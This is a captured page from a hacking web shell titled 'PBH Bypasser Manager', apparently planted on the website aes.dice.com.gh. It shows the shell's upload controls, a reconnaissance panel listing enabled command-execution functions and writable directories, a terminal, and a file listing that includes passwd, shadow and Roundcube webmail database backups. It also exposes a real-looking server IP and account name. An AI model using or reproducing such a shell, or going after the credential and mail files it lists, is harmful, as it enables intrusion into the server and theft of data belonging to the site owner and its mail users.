🌸 aes.dice.com.gh

PBH Bypasser Manager | Use your logic to penetrate all Security

v1.1.2 Haxor
Home
0 item(s) selected

Quick Upload

Upload via URL

Single File

Multiple Files

Server Information

SERVER INFO

Software Apache
PHP Version 8.1.34
OS Linux
Server Name aes.dice.com.gh
SSL Enabled

NETWORK & USER

Server IP 199.250.197.2
Your IP 216.73.216.10
User pisces7
Group pisces7
Document Root /home/pisces7/aes.dice.com.gh

PHP LIMITS

Upload Max 512M
Post Max Size 512M
Memory Limit 768M
Max Execution 0s
Disabled Functions None

WRITABLE CHECK

Temp Dir Writable
Document Root Writable
Server Time 2026-09-22 17:59:27
Timezone UTC

TERMINAL FUNCTIONS

Shell Exec Exec System Passthru Popen Proc Open PCNTL Exec
NameSizePermissionsModifiedOwnerActions
@pwcache -- 0750 2024-01-09 10:43:35 pisces7
elgibborcourt.rcube.db 476 KB 0600 2026-02-13 05:41:10 pisces7
elgibborcourt.rcube.db.1772513208 476 KB 0600 2026-03-03 04:46:48 pisces7
elgibborcourt.rcube.db.1777420036 476 KB 0600 2026-04-28 23:47:16 pisces7
elgibborcourt.rcube.db.1780385482 476 KB 0600 2026-06-02 07:31:22 pisces7
elgibborcourt.rcube.db.1784605267 476 KB 0600 2026-07-21 03:41:07 pisces7
elgibborcourt.rcube.db.1787031013 476 KB 0600 2026-08-18 05:30:13 pisces7
elgibborcourt.rcube.db.1789443906 476 KB 0600 2026-09-15 03:45:06 pisces7
elgibborcourt.rcube.db.latest 476 KB 0600 2026-09-15 03:45:06 pisces7
info.rcube.db 372 KB 0600 2026-04-28 23:47:17 pisces7
info.rcube.db.1777420036 372 KB 0600 2026-04-28 23:47:16 pisces7
info.rcube.db.1780385482 372 KB 0600 2026-06-02 07:31:22 pisces7
info.rcube.db.1784605267 372 KB 0600 2026-07-21 03:41:07 pisces7
info.rcube.db.1787031013 372 KB 0600 2026-08-18 05:30:13 pisces7
info.rcube.db.1789443906 372 KB 0600 2026-09-15 03:45:06 pisces7
info.rcube.db.latest 372 KB 0600 2026-09-15 03:45:06 pisces7
passwd 180 B 0640 2024-01-09 10:43:35 pisces7
quota 39 B 0640 2024-01-09 10:43:35 pisces7
shadow 249 B 0640 2026-03-16 12:11:18 pisces7

Terminal (Working dir: /home/pisces7/etc/structureintegritygh.com)